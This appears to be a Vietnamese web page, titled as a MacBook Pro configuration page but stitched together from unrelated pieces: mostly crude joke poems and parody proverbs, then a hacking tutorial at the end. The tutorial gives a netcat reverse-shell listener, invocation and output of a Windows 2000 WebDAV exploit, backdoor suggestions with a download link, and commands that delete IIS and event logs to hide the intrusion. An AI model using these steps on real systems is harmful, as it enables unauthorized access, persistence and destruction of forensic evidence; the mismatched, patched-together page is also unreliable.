Cấu Hình MacBook Pro

Thằng cho vay là thằng dại.
Thằng trả lại là thằng ngu!

********o0o***********

Thi đua ta quyết thi đua
Thi đua ta quyết tiến lên hàng đầu
Hàng đầu rồi biết đi đâu?
Đi đâu không biết hàng đầu cứ đi !

********o0o***********

Con người càng lúc càng đông.
Thạch Sanh thì ít , Lý thông thì nhiều .


********o0o***********

Gọt xoài đừng để xoài chua!!
Chọn bạn đừng để nó cua bồ mình.

********o0o***********

Thân em như giếng giữa đàng.
Người khôn rửa cẳng , người phàm rửa chân!

********o0o***********

Tình yêu như cái bánh tiêu ...
Ăn dzô thì muốn, thiếu điều ói ra.
Yêu em hổng dám nói ra.
Để dành trong bụng cho ra từ từ.

********o0o***********

Trên trời mây trắng như bông.
Ở giữa cánh đồng mông trắng như mây.

********o0o***********

Mẹ ơi con muốn có chồng.
Con ơi.... mẹ cũng một lòng như con.

********o0o***********

Gió mùa thu anh ru em ngủ.
Em ngủ rui`......anh cạy tủ anh đi!!!!

********o0o***********

*Nhận được thư em lúc nhá nhem,
Mừng mừng tủi tủi mở ra xem
Trong thư em viết dăm ba chữ:
"Anh ơi ngày mai nó lấy em".

********o0o***********

Con nhà tông không giống lông .....đỡ giống khỉ.

********o0o***********

Gần mực thì đen gần đèn thì.......cháy.

********o0o***********

Bầu ơi thương lấy bí cùng ,
Mai sau có lúc... nấu chung một nồi.

********o0o***********
Chắp tay lạy cụ tình yêu.
Cho con lấy được nàng kều ngày nay.
Cụ nhìn trợn mắt cau mày.
Không đưa hối lộ thì đây đếch ừ .

********o0o***********

Thuận vợ thuận chồng ......con đông mệt quá .

********o0o***********

Bánh mì phải có patê.
Làm trai phải có máu dê trong người!!!

********o0o***********

Làm trai cho đáng nên trai.
Lang beng cũng trải giang mai cũng từng!!!

********o0o***********
Học trò ngày nay quậy tới trời,
10 thằng đi học 9 thằng chơi
3 thằng đến lớp 2 thằng ngủ.
Còn lại thằng kia cùng gật gù.

********o0o***********

Bước chân dô quán đèn mờ.
Ngồi gần con gái không sờ là ngu!!
Thà rằng cắt tóc đi tu.
Ngồi gần con gái ..... ngu sao không sờ!!

********o0o***********

Hôm qua anh đến nhà em.
Ra về mới nhớ để quên 5000
Anh quay trở lại vội vàng.
Em còn ngồi đó, 5000 ...mất tiêu.

********o0o***********
Anh xây em bằng cát.
Rồi hôn em 1 phát.
Ôi nụ hôn chua chát.
Toàn là đất với cát…

********o0o***********

Yêu em mấy núi cũng trèo.
Đến khi có bầu mấy đèo cũng dông!!!

********o0o***********
Trên trời có đám mây xanh.
Ở giữa mây trắng xung quanh mây vàng.
Nếu mà anh lấy phải nàng,
Anh thà thắt cổ cho nàng ở không.

********o0o***********

Giám thị nhìn em giám thị cười.
Em nhìn giám thị lệ tuôn rơi.
Cổng trường đại học cao vời vợi.
Đồng ruộng mênh mông đón em về.

********o0o***********

Này cô con gái nhà ai.
Cớ sao dám hái hoa nhài nhà tôi.
Hái rồi thì hãy ...lấy thôi.
Còn chưa hái được để tôi...hái dùm.

********o0o***********

Trước cổng nhà thờ,anh và em...
Hai đứa hôn nhau,Chúa đứng xem...
Giật mình Chúa bảo:này hai đứa!
Hôn nhau như thế...Chúa cũng...thèm.

********o0o***********

Chán đời cắt tóc đi tu.
Nghĩ đi nghĩ nghĩ lại ... đi tù sướng hơn.
Trong tù làm chủ giang sơn,
Một căn phòng đá với dăm ba thằng.
Thằng nào cũng có khiếu năng,
Thằng thì giỏi hoạ thằng thì làm thơ.
Có thằng lại đứng ngẩn ngơ.
Vì sao ta lại trở vô nhà tù??

********o0o***********

Lạy thượng đế bao giờ con hết khổ!
Tổ cha mày con khổ mãi nghe con.

********o0o***********

Trên đồng cạn dưới đồng sâu.
Chồng cày vợ cấy thằng cu ra đời.

********o0o***********

Sức khoẻ là vô giá. Hột xoàn mới có giá.

********o0o***********

Hoc không yêu yếu dần rồi chết
Yêu không học không ngóc được lên.

********o0o***********

Vầng trăng ai xẻ làm đôi .
Nửa in gối chiếc, nửa soi dặm trường.
Đêm qua anh ngủ trên giường.
Nhớ em tỉnh giấc, lọt giường gãy xương.

********o0o***********
Học làm chi,thi làm gì .
Tú Xương còn rớt,huống chi là mình.

********o0o***********

Trăm năm cừu vẫn là cừu.
Ăn xong rửa chén là điều dĩ nhiên.

********o0o***********

Học cho lắm, tắm hổng có quần thay.
Học cho hay ,tắm thay hoài cái quần cũ.

********o0o***********

Tiền không có =.>.Tình không có =.>.Ngồi trong xó =.>.Nhục như chó.

********o0o***********

Học cho lắm cũng ăn mắm với cà.
Học tà tà cũng ăn cà với mắm.
Học cho lắm cũng đi tắm cởi truồng .
Học luồn xuồn cũng cởi truồng đi tắm.

********o0o***********

Cam sành lột vỏ còn chua.
Thấy em còn nhỏ anh cua để dành.

********o0o***********
Bắt đầu ngủ giữa tiết 3 .
Đến khi tỉnh giấc đã là tiết 5.

********o0o***********

Một buổi chiều gió mát
Vẽ hình em trên cát
Thì bị ăn một tát
Của một con bồ khác
Nãy giờ đang quan sát
Anh còn đang ngơ ngác
Liền ăn thêm một tát
Ôi tình yêu trên cát !!!
Thật là chua và chát .

********o0o***********

Học hành như cá kho tiêu .
Kho nhiều thì mặn học nhiều thì ngu!

********o0o***********

Cái giường mà biết nói năng.
Thì ông hàng xóm hàm răng chẳng còn.

********o0o***********

Nhà trường là nhà tù, sách vở là kẻ thù đi học là đi tu,
Thầy cô như sát thủ, thời gian như cao su! bạn bè như tôm sú.

********o0o***********

Dây tơ hồng ...quấn quanh chuồng lợn.
Tình chúng mình có tợn quá không anh??

********o0o***********

Ai mua tui bán cây...si,
Si tui tốt giống cành chi chít cành.
Hễ si mà gặp Đất lành,
Là si phát triển trở thành ..siđa.

********o0o***********

Râu tôm nấu với ruột bầu,
Chồng ăn nhổ toẹt lầu bầu chê ngu!

********o0o***********

Ai ra xứ Huế thì ra ,còn anh thì cứ phòng em mà vào.

********o0o***********

Quân tử đắn đo là quân tử dại. quân tử ...làm đại là quân tử khôn.

********o0o***********

Thu đi để lại lá vàng ,
Anh đi để lại cho nàng thằng cu.
Mùa thu nối tiếp tiếp mùa thu ,
Thằng cu nối tiếp thằng cu ra đời.

********o0o***********

Khi xưa vác bút theo thầy ,
Bi giờ em lại vác cày theo trâu.

********o0o***********

Ngày xưa giám thị cũng đi thi .
Cũng cóp cũng quay chẳng kém chi.
Mà nay giám thị lại trông chặt .
Chẳng để em xem 1 tí gì….

********o0o***********

Tình chỉ đẹp khi tình dang dở .
Cưới nhau về tắt thở càng nhanh.

********o0o***********

Qua đình ngả nón trông đình.
Nhìn anh ăn mặc thùng thình thấy ghê.

********o0o***********

Đường về đêm tối canh thâu.
Nhìn anh tôi tưởng con trâu đang cười.

.********o0o***********

Nhiễu điều phủ lấy giá gương.
Mai sau có lúc ngoài đường đập nhau.

********o0o***********

Hoa chanh nở giưã vườn chanh.
Còn em hoa súng thì đành ở ...... ao .

********o0o***********

Con cò đi uống rượu đêm.
Đậu phải cành mềm lộn cổ xuống ao.
Còn anh chả uống ngụm nào.
Cũng say ngây ngất ngã vào lòng em .

********o0o***********

Thương anh chín đợi mười chờ.
Đến khi mười một , em lờ bỏ anh.

********o0o***********

Con vua thì lại làm vua
Con gái bác sỹ khó cua vô cùng
Kén canh chọn cá lung tung.
Mai kia ở giá chiếu mùng lạnh tanh.

********o0o***********

Chiều chiều ra đứng ngõ sau.
Thấy em yểu điệu cầm daọ...mỗ gà.
Con gà em cắt làm ba.
Trời ơi có phải em là.....em không??

********o0o***********

Đường về đêm tối canh thâu.
Nhìn em dù xấu biết đâu phân bày.

********o0o***********

Mấy đời bánh đúc có xương.
Mấy đời chơi net không vương tơ tình.
Trúc xinh trúc mọc đầu đình .
Em xinh em hút thuốc lào cũng xinh.

********o0o***********

Còn thời lên ngựa bắn cung.
Hết thời xuống ngựa lấy thung bắn ruồi

********o0o***********

Gió đưa bụi chuối sau hè.
Giỡn chơi chút xíu ai dè... có con.

********o0o***********

Tiền là giấy ==> Đốt là cháy
Người yêu là rác ==> Đầy là đổ.
Tình là bụi ==> Thổi là bay.
Đời là phù du ==> Ngu là phù mỏ.

********o0o***********

Trăm năm trong cõi ngưòi ta.
Ai ai cũng phải thở ra hít vào.
Trăm năm trong cõi người nào.
Ai ai cũng phải thở vào hít ra.

********o0o***********

Trên đồng cạn dưới đồng sâu
Chồng cày vợ ở nhà lầu ngồi chơi.

********o0o***********

Ðàn ông tập tạ thì đô
Ðàn bà không tập vẫn đô như thường.

********o0o***********

Trách người quân tử vô danh.
Chơi hoa xong lại... hái cành kế bên.

********o0o***********

Uống nước nhớ cái...giếng khoan.

Không răng đố mày nhai được.

Ði dối cha, về nhà...dối vợ.

Thà hy sinh chứ không bao giờ... chịu chết..

********o0o***********

Hôm qua uống nước, tâm tình.
Ðể quên điện thoại chụp hình, quay phim
Em cầm mà em lặng im
Ðể anh phải chạy đi tìm bở hơi....

********o0o***********

Nếu biết rằng anh thay dổi lòng
Nói yêu rồi lại bảo rằng không
Thì em có còn yêu anh nữa
Còn nguyện chỉ anh mới là chồng ?!!!

Nếu biết tim anh dã chết rồi
Cùng cô gái trước hứa chung dôi
Thì em có còn đeo anh nữa
Còn hứa trọn đời ta có đôi ?!!!

Nếu biết anh dây thích đèo bồng
Suốt ngày say xỉn với đi rong
Thì em có còn thương như trước
Vẫn cứ đưa tiền anh xài không ?!!!

Nếu biết rằng anh chỉ thích tiền
Chẳng thích vì em đẹp, hiền, duyên
Thì em có còn mơ hạnh phúc
Mãi mãi bên anh trọn chữ tình ?!!!

********o0o***********

Thò tay em bứt cọng ngò
Anh xấu như bò,bỏ chó nó chê.
Ấy vậy mà em lại mê.
Nửa đêm thanh vắng dắt dê vào nhà,
hehhee hehe hehheee

Nếu biết ngày mai em lấy chồng.
Em đừng tưởng hết, thế là xong!
Anh về mua lại K 59
Mai đón xe hoa tặng kẹo đồng!

********o0o***********

Khi xưa bé nói yêu anh
Anh chê bé nhỏ bé chẳng biết gì,
Bây giờ bé đã dậy thi
Anh khen bé đẹp bé chê anh già....

********o0o***********

Mở mail dzom` đọc giật mình
"Gởi anh yêu dấu 1 nghìn nụ hôn"
Tui già ... gần đến lúc chôn
Hôn nhìu ... ngợp chết ... chắc hồn bay xa
Reply ngành ngọn cho ra
Thì ra cô đó ... mail qua ... lộn chuồng
Ngồi cười thấy chẳng còn buồn
Lâu lâu hun kiểu lộn chuồng .... cũng dzui

********o0o***********

Vai mang túi bạc kè kè
nói quấy nói quá, người nghe ầm ầm
Trong lưng chẳng có một đồng
lời nói như rồng cũng chẳng ai nghe...

********o0o***********

Chuồn chuồn bay thấp thì cao
Bay cao thì thấp, bay vừa thì...thôi

********o0o***********

Trông em có vẻ mắt nai
Nhưng mà ra chợ khối dzai trả tiền!!!???

Trông em có vẻ có duyên
Ra đường ra chợ luyên thuyên suốt ngày

********o0o***********

Có chồng mà bỏ theo trai.
Chết xuống âm phủ được hai cây vàng.

********o0o***********

Hôm qua anh đến nhà em
Ra về mới nhớ rằng quên cái quần.
Em được thì cho anh xin
Chớ đừng đem cất ,làm tin trong nhà
Nửa đêm bóng xế trăng tà
Lại đem ra ngắm để mà nhớ anh
Ngắm rồi đem cất để dành
Khi nào anh tới đòi anh trăm ngàn...

********o0o***********

Ra đường thì rất là sang
Ai nhìn cũng muốn cùng nàng kết thân
Thân rồi lại những phân vâng
Quen chi con nhỏ....đứng gần hôi chua.

********o0o***********

Người mua hay nhận hàng free
Anh dây cưới vợ, được free nhóc tì....

Yêu em không phải dáng hình
Không vì sắc dẹp - chỉ tình nghĩa thôi
Nếu như cái " đó " mất rồi
Thì anh đây sẽ sang hồi cưới em.....

Mãi vui nên chẳng giữ mình
Dễ thằng nhóc nhỏ mặc tình vào ra....

Công chàng như núi lửa kia
Đêm đêm phun những tinh hoa cho nàng
Bà con lối xóm, họ hàng Hết lòng ca tụng vì nàng có mang......

********o0o***********

Ðẹp thì tuyệt đẹp, xinh thì tuyệt xinh.
Lại nõn nà bao cái "trữ tình "
Ngắm đi ngắm lại bao siêu mẫu.
Nhưng mà đẹp nhất vẫn là vợ mình..

********o0o***********

Phi thương bất phú
Phi phụ bất sinh
Phi sý bất thành
Phi..bạn gái, bất mãn....

********o0o***********

Có công mài sắt, có ngày..bong gân

********o0o***********

Cá không ăn muối cá ươn
Con cãi cha mẹ, khôn hồn đi luôn ( cút,...đừng về nhà nữa )

********o0o***********

Trên đồng cạn dưới đồng sâu
Chồng cày vợ cấy , con trâu đứng dzòm

********o0o***********

Một cây làm chẵng nên non
Ba cây chụm lại ta xây hàng rào

********o0o***********

Trâu ơi ta bảo trâu này
Trâu ra ngoài ruộng, trâu cày mình trâu.
Cấy cày bổn phận con trâu,
Ta đang bận.. nhậu, còn lâu mới cày.

********o0o***********

Có tiền nuôi chó , nuôi mèo
Anh nuôi.....em vợ dù nghèo cũng cam

Yêu nhau cởi nhẫn cho nhau
Kim cương em lấy, đồng thau thì xù

Thương nhau lắm thì cắn nhau đau,
Cắn nhau không đau, vác dao ra chém

********o0o***********

+Trời mưa bong bóng fập fòng
Mẹ đi lấy chồng....con ở boyfriend

+Qua đình ngã nón trông ðình
Nhìn anh ăn mặc thùng thình thấy ghê

+Làm trai cho đáng nên trai
Ði làm để vợ shoping dài dài (thích ký này nhứt nè)

+Ðường về đêm tối canh thâu
Nhìn anh tôi tưởng con trâu đang cười

+Buồn buồn ra đứng bờ ao
Ai ngờ chó cắn buồn ơi là buồn

+ầu ơ ..con ngủ cho ngoan ..
Mẹ chói tứ xắc ...lấy tiền nuôi con

+Yêu ai yêu cả một đời
Lỡ mai anh bỏ, yêu người.. thứ 2

+Thức khuya mới thấy hao dầu
Yêu anh mới biết anh ngầu như.. ma

+Ai đưa con sáo sang sông ??
Ðem lên thành phố ...nướng trui phát thèm

+Hôm wa em đến nhà anh
Ra về mới nhớ bỏ wên 5 ngèn
Tức thì em trở lại tìm
Anh còn ngùi đó, mờ 5 ngàn mất tiu..??
-Năm ngàn anh lấy mất tiêu
Ðem mua vé số chờ ngày sổ chơi
Ai ngờ trúng thiệt em ơi Trúng cả triệu bạc anh trả em 5 ngàn.

********o0o***********

Bắc thang lên hỏi ông trời
Bắt ông Nguyệt Lão đánh mười cẳng tay.
Ðánh thôi lại trói vào cây
Hỏi ông Nguyêt Lão: nào dây tơ hồng ?
Nào dây xe bắc xe đông
Nào dây xe vợ xe chồng người ta ?
Ông vụng xe tôi phải lấy chồng già
Tôi thềì đốt cửa đốt nhà ông đi !

Một người đi với một người
Nếu là trai gái làm gì cũng phê
Hai người cùng phái kề vai
Choàng nhau âu ếm thuộc hàng pêđê

********o0o***********

+Ai ơi hãy lấy người gầy
Tuy rằng ít thịt nhưng đầy tà dâm

+Yêu em không phải vì tiền
Mà tại vì cái cõn ghiền xì ke

+Công cha như núi Thái Sơn
Nghĩa mẹ như nước trong nguồn chảy ra
Ai mà chửi mẹ mắng cha
Tranh giành chiếm đoạt gia tài là quan.

+Chim uyên ăn trái nhãn lòng
Còn em sao lại hỏi chồng chẳng quen?

+Ði xa mới biết đường dài
Ở lâu nhà mướn gia tài càng hao.

+Thuận vợ thuận chồng tát biển đông... quá mệt

+Thò tay bứt cọng rau ngò
Thương em đứt ruột giả đò... nhìn người kế bên

+Trai khôn tìm vợ chợ đông
Gái khôn tìm chồng trên mạng "anh yêu"

+Một con vịt với hai người đàn bà thì thành một cái chợ
Một con vịt với hai người đàn ông thì thành một chầu dzô dzô.

********o0o***********

Kính vợ đắc thọ !!!!
Nể vợ sống lâu !!!!
Ðể vợ lên đầu.... trường sinh bất lão!!!

********o0o***********

Nhân bất học bất tri lý !!
Nhỏ không học lớn bị điên!!!

********o0o***********

Khi yêu cái xích dưới chân
Thì xiềng xích ấy là thần tự do

Tự trói thì gọi là tu
Bị trói thì gọi là tù mọt gông!

Tự do sướng nhất trên ðời
Tự lừa lại sướng hơn mười tự do

********o0o***********

Vợ là thánh chỉ vua ban
Có sao dùng vậy không bàn đúng sai!

Trâu kia kén cỏ bờ ao
Anh kia không vợ đời nào có con
Người ta con trước, con sau
Thân anh không vợ như cau không buồng
Cau không buồng như tuồng cau đực
Trai không vợ cực lắm anh ơi
Người ta đi đón, về đôi
Thân anh đi lẻ, về loi một mình

Cá tươi xem lấy đôi mang
Người khôn xem lấy đôi hàng tóc mai
Tóc mai sợi vắn sợi dài
Có đâu mặt rỗ đá mài không trơn

Cau già dao bén thì ngon
Người già trang điểm phấn son cũng già

Canh bầu nấu với cá trê
Ăn vô cho mát mà mê vợ già
Con ơi chớ lấy vợ giầu
Cơm ăn chê hẩm
Cá kho bầu nó chê tanh

********o0o***********

• Kiến tha lâu có ngày nằm thở...!

• "Em nai vàng ngơ ngác. Quần chết bác thợ sãn"

• “Cái con bé ấy không xinh, không khéo thì cũng chẳng được cái gì..”

********o0o***********

Nếu biết rằng em đã có chồng
Anh về tự thiến thả trôi sông
Của anh lênh đênh theo dòng nước
Trôi đến nhà em có lượm không ?

********o0o***********

Thân em như tấm lụa đào.
Quỷ tha ma bắt lại vào tay anh.
Ngày nào cũng chạy loanh quanh .
Tới các quán nhậu "thỉnh" anh về nhà.
Không nói gần chẳng nói xa.
Lấy nhằm chồng nhậu quả là ..vụng tu..

********o0o***********

Ra đường sợ nhất công nông .
Về nhà sợ nhất vợ không nói gì....

Tái dê nấu với tương gừng
Ăn xong anh lại bừng bừng máu dê.
Tương gừng nấu với tái dê.
Ăn vào anh sẽ máu dê tưng bừng.
Máu dê "nem chả" thì đừng.
Máu dê "em vợ", em mừng em vui....

********o0o***********

Con là cục nợ
Vợ là oan gia
Mẹ vợ con khỉ già
Em vợ là thiên nga

********o0o***********

Chị em du kích tài thay .
Bắn tàu bay Mỹ rơi ngay nhà mình...

Cơm nhà ta chẳng sợ chi.
Ăn no vợ sướng, "cày" thì vợ khen.
Cần gì mà phải bon chen.
Thèm chi "cháo" - "phở" (bị) đánh ghen có ngày...

Yêu anh, em chẳng cần chi
Chỉ xin anh chiếc " Pây Xì " mà thôi ....

Yêu nhau trái ấu cũng tròn.
Ghét nhau đôi dép dẫu mòn cũng chia.

Má ơi đừng gả con xa.
Cỡ chừng New York - London được rồi.

********o0o***********

Cô kia cắt cỏ bên sông
Cô chưa có chồng sao đã có con ???
Bởi em lỡ dại lúc son
Mê cây xúc xích dài thòng của anh

Có yêu thì cứ nói thương
Ý quên...nói lộn nên thường nói không.

Ai ngồi có nhớ ta chãng ???
Ta ngồi ta nhớ hàm răng hôi rình...!!

Má ơi cố gả con xa
Càng xa càng có Dollar gửi về ...

Ngày nào em bé cỏn con .
Bây giờ em đã to con thế này
Mắng cha , chửi mẹ , la thầy
Nghỉ sao cho bõ những ngày lưu manh ."

Tham thì thâm, Phật đã bảo thầm rằng cứ việc tham

Cười người chớ quá cười lâu
Cười người hôm trước hôm sau...phù mỏ


Nhân bất học bất tri lý
Nhỏ không học lớn làm đại uý

Làm trai giữ trọn ba giềng
Rượu, chè, gái gú liền liền mới hay

Tiên học lễ, hậu học dzê
Có chí thì nên ...cạo đầu

Miếng trầu là đầu câu ...chửi lộn

********o0o***********

Nếu biết ngày mai em lấy chồng
Anh về mua súng với dao găm
Giết thằng chồng em cho hả giận
Cùng em chạy trốn thế là xong

Nếu biết ngay mai em lấy chồng
Anh về tỉnh đội mượn AK
Bắn về nhà em ba mươi phát
Em nằm bên chồng thấy ớn ghê

Nếu biết rằng em đã có chồng
Tim anh nở noét như nợn nòng
Nòng thòng nê nết nằm na niệt
Nâu nâu lại ngứa mấy sợi nông.

Nếu biết rằng em lỡ lấy chồng
Lấy nhầm lão già có buồn không?
Còn anh ngay đây sao hỏng lấy
Lang thang chọn lựa cũng như không.

Nếu biết rằng em đã bỏ chồng
Làm ơn ráng chịu có được không?
Cho anh yên ổn làm ăn với
Anh chán lắm rồi chuyện viễn vông

Nếu biết rằng em đã bỏ chồng
Anh về thưa mẹ: lấy được không?
Mẹ rằng: Như thế không phải lối
Mày ngu sao lấy gái một chồng ?

Nếu biết rằng em đã bỏ chồng
Thời nay thật khó kiếm đàn ông
Ngày xưa ong bướm bu đầy ngõ
Bây giờ bướm dội ong cũng dông

Nếu biết rằng em đã bỏ chồng
Con em 5 đứa chạy long nhong
Ối giời đông quá ai mà dám
Nhảy vào nuôi gạo chả bỏ công

Nếu biết rằng em đã bỏ chồng
Anh mừng hết lớn nhẹ như bông
Hết cần lén lút sau manh cửa
Ðợi hắn ra đi nhảy vào phòng

Nếu biết rằng em đã bỏ chồng
Anh đành chịu phép thế là xong
Vợ anh dữ lắm xin em hiểu
Sư tử Hà Đông nó xếp sòng

********o0o***********

Khôn ba nãm dại một giờ ... biết dzậy dại sớm .... khỏi chờ 3 nãm.

Xăng có thể cạn, lốp có thể mòn, nhưng số máy, số khung thì không bao giờ thay đổi.

Thuê bao mà bạn vừa gọi hiện nằm ngoài vùng phủ sóng, nằm trong vùng phủ chăn nệm và nằm cạnh một thuê bao khác.

Ði một ngày đường ... Dép mòn thêm 1 tấc

Cô kia má đỏ môi hồng ... xin cho anh hỏi có chồng hay chưa ?
Chồng em bán mắm, bán dưa, bán luôn lựu đạn anh mua cái nào ?

Chim quyên ăn trái nhãn lồng
Em có nhiều chồng cho chị em share

Tóc em dài em cài bông huệ
Miệng em cườì như hủ mắm nêm

Trên đồng cạn, dưới đồng sâu ...
Chồng cày, vợ sắm hột xoàn đầy tay

Ta về ta tắm ao ta
Bây giờ bệnh gà cúm lây ba bốn đường

Chim xa cây còn thương cây nhớ cội
Chứ người xa người trả nợ người ơi.

Gió mùa thu mẹ ru con ngủ
Mẹ lạy mày hãy ngủ mau mau (khóc mãi, con với chả cái).

Cá không ãn muối cá ươn
Chồng mà cãi vợ, kiếm đường đi đêm.

Ta về ta tắm ao ta
Dù ba , bốn dzợ cũng là Việt nam .

Chim xa cành còn thương nhớ cội
Nàng xa tui rồi ,có tội gì đâu
Chẵng buồn ,cũng chẵng thấy rầu
Càng xa càng tốt ,tui càng khoẻ thân.

Gió mùa thu mẹ ru con ngủ
Ngủ lẹ đi con ,mẹ xổ bầu cua (Tết mà)

Ðất lành chim đậu....đất không lành đất nhậu chim luôn

Vợ nóng chồng phải im ngay
Nếu không đụng phải "dĩa bay" có ngày!

Ăn chanh mới biết chanh chua
Yêu anh mới biết anh là sở khanh
Không chua không phải là chanh
Con trai ai chẳng sở khanh đôi lần

Trời mưa bong bóng phập phồng
Mẹ đi lấy chồng con ngủ với ai
Con ngủ với chú bán khoai
Chú cho 1 củ con nhai tới chiều

Ta nhậu xong ra đứng gốc cây
Thả vòi chữa lửa cho bầy kiến tha ( chết mẹ, bị tiểu đường )

********o0o***********

Ai ơi đừng lấy chồng gầy
Nửa đêm thức giấc ngỡ mình ôm cây
Ai ơi đừng lấy chồng ù
Nửa đêm thức giấc ngỡ mình ôm lu
Ai ơi chớ lấy thầy tu
Ăn cơm đậu hủ con cu ú nù
Ai ơi chớ lấy chồng mù
Nữa đêm tỉnh giấc nó mò búa xua

********o0o***********

Một chàng trai trên đường về nhà đi ngang qua khu nghĩa địa. Bỗng nghe tiếng gõ lốc cốc từ trong nghĩa địa vang ra, anh ta hoảng hốt, tưởng là có ma. Nhìn kỹ các ngôi mộ, anh ta mới thấy một ông già đang đục khoét cái gì đó trên tấm bia đá. Anh bảo: - Lạy chúa, ông làm tôi tưởng là ma! Ông đang làm gì ở đây vậy? Ông già trả lời: - Khỉ thật, cái đứa nào khắc sai tên tao

Sắp sửa có 1 vụ chuyển nhượng slogan lớn nhất tại việt nam. Kotex đang trên đà thương thuyết với Bitis để tòan quyền sử dụng câu slogan bấy lâu nay của Bitis là nâng niu bàn chân Việt. Theo 1 thông tin chưa kiểm chứng, Kotex sẽ biên sọan lại câu slogan thành "Nâng niu đàn chim Việt"

Có một ông chồng mới cưới vợ được vài tháng đã phải lên đường đi công tác xa sáu tháng mới về. Được năm tháng bà vợ ở nhà đã lâu không được gần chồng nên không chịu được mới sanh lòng bậy bạ, nhưng bà vẫn còn sợ chồng nên mới gửi cho ông chồng lá thư với nội dung như sau:

Đám ruộng hai bờ ở đầu mông
Lâu ngày không cấy, vẫn để không
Nước non vẫn đủ, cỏ mọc tốt
Nhờ người cày hộ, có được không?

Ông chồng đọc xong hiểu ý, vừa tức, vừa sợ nên vội vàng viết thư trả lời liền:

Đám ruộng hai bờ là của ông
Cho dù không cấy, vẫn để không
Mùa này không cấy, chờ mùa khác
Nhờ người cày hộ, chết với ông.

Đọc thư xong, bà vợ nóng lòng quá nên gửi tiếp:

Ruộng để lâu ngày cỏ bỏ không
Hạ đi thu đến, sắp lập đông
Cỏ xanh cũng lạnh dần héo úa
Thợ cày đầy dãy chẳng tính công.

Ông chồng hối đáp:

Biết là ruộng lâu ngày trống không
Cỏ đội um tùm, nước mênh mông
Nhưng mà tụi nó cày tệ lắm
Kỹ thuật thua ông, có biết không?

Bà vợ:

Ruộng vẫn nơi này, quá mênh mông
Sao chẳng gieo đi kiếm vài đồng
Ông về vẫn đó, chi mà ngại
Mùa ông thu hoạch, khỏi tốn công.

Chồng tức quá tiếp:

Này này ông nói có nghe không
Ruộng ông, ông kệ cỏ chơi ngông
Khi nào ông rảnh, ông gieo giống
Còn không kẻ khác cấm chờ trông.

Bà vợ chịu không nổi, gửi tiếp:

Ông à, cỏ dại lên quá mông
Dân cày quê mình cứ ở không
Thôi tôi làm phước, cho họ cấy
Ông về thu hoạch, thế là xong.

Ông chồng càng tức giận hơn:

Cỏ dại có mọc lên quá mông
Thì bà vun cỏ, phải được không
Ông mà biết được bà cho cấy
Ông về nhổ sạch, thế là xong.

Bà tiếp:

Ruộng kia cỏ đã mọc đầy đồng
Ông về gấp gấp có nghe không
Ruộng đang thiếu nước lại khô cạn
Ông về tưới hộ, tôi trả công.

Chồng thấy thế liền gửi lại:

Ờ thì bà ráng mà kìm lòng
Bà mà léng phéng, chết với ông
Ông về, ông cấy cho tơi xốp
Cho thỏa bao ngày bà đợi mong.

Hôm sau, chồng nhận được thư vợ như sau:

"Luật mới ban hành ông biết không?
Ruộng mà không cấy sẽ sung công
Vậy ông thu xếp mà về sớm
Kẻo mất ruộng rồi, ông trách ông"

1) Mô tả

Giao thức World Wide Web Distributed Authoring and Versioning (WebDAV) là một tập hợp các mở rộng cho giao thức HTTP dùng để cung cấp một cách thức chuẩn cho việc biên tập và quản lý file giữa các máy tính trên Internet. Lỗi tràn bộ đệm đã được phát hiện trong một thành phần của Windows 2000 được sử dụng bởi WebDAV có thể cho phép kẻ tấn công chiếm quyền điều khiển máy tính

2) Khai thác

Bạn sử dụng chương trình sau webdav của kralor có thể download lại địa chỉ www.coromputer.net
Công việc chuẩn bị là download cái webdav đó về và đặt nc(NETCAT) ở chế độ lắng nghe ở máy tính dùng để tấn công.
Ví dụ

C:\>nx -vv -l -p 53
listening on [any] 53 ...

Mục đích là listen ở cổng 53 là tưởng lửa không chặn cổng này
Cú pháp webdav <IP của máy chủ IIS> <IP của máy tính dùng để tấn công> <cổng lắng nghe> [padding=1,2,3...]
Ví dụ

C:\> webdav xxx.xxx.xxx.xxx 203.162.118.56 53 1
[Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt]
www.coromputer.net && undernet #coromputer

Checking WebDav on 'xxx.xxx.xxx.xxx' ... FOUND
exploiting ntdll.dll through WebDav [ret: 0x00100010]
Connecting... CONNECTED
Sending evil request... SENT
Now if you are lucky you will get a shell.

Nếu như may mắn bạn có thể có shell của máy chủ IIS
Công đoạn khai thác khi đã có shell
Nếu như ở máy tính dùng để tấn công hiện ra kết quả như sau thì bạn đã có shell rồi đó

C:\>nc -vv -l -p 53
listening on [any] 53 ...
connect to [203.162.118.56] from xxx.xxx.xxx.xxx[xxx.xxx.xxx.xxx] 1125
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32> <-- OK đã thành công rùi. Hà hà đã quá !!!


Công đoạn tiếp theo là phải xoá dấu vết của mình. Để thuận tiện cho việc khai thác server các bạn nên up một số đồ nghề thông dụng để quá trình khai thác được dễ dàng hơn khi đã có shell. Mình thường dùng ps, reg, kill, rar, wg, ce ...
Để thuận tiện cho lần sau viếng thăm server các bạn có thể đặt vài con backdoor. Ví dụ như WinShell, Hack Defensed
Hoặc dùng backdoor của VICKI (VKDT) các you có thể download tại đây http://vicki.host.sk/tyt.zip

+ Tìm thư mục ghi nhật ký của máy chủ IIS
Thực hiện truy vấn sau:

C:\WINNT\system32>reg query HKLM\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters /v LogFileDirectory
! REG.EXE VERSION 2.0
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters
LogFileDirectory REG_SZ C:\WINNT\System32\LogFiles
Thường thì file log lưu ở thu mục C:\WINNT\System32\LogFiles

C:\WINNT\system32>at
The service has not been started. ' dịch vụ hẹn lịch đã bị admin vô hiệu

C:\WINNT\system32>net start schedule ' khởi động dịch vụ hẹn lịch
net start schedule
The Task Scheduler service is starting.
The Task Scheduler service was started successfully.

Thực hiện một kịch bản trên server bằng cách lưu tiến trình thực hiện vào một file .bat
Công việc của mình gồm có:
- Dừng máy chủ IIS
- Xoá nhật kí của IIS
- Khởi động lại IIS
- Xoá nhật ký của Event Log
- Xoá file sm.bat(file viết kịch bản khai thác. Hì hì)
Mọi công việc thực hiện bằng các lệnh như sau
C:\WINNT\system32>echo iisreset /stop >sm.bat ' dừng IIS
C:\WINNT\system32>echo rd /q /s C:\WINNT\System32\LogFiles >>sm.bat ' xóa nhật kí của IIS
C:\WINNT\system32>echo iisreset /start >>sm.bat ' khởi động lại IIS
C:\WINNT\system32>echo ce >>sm.bat ' xóa nhật kí của Event Log
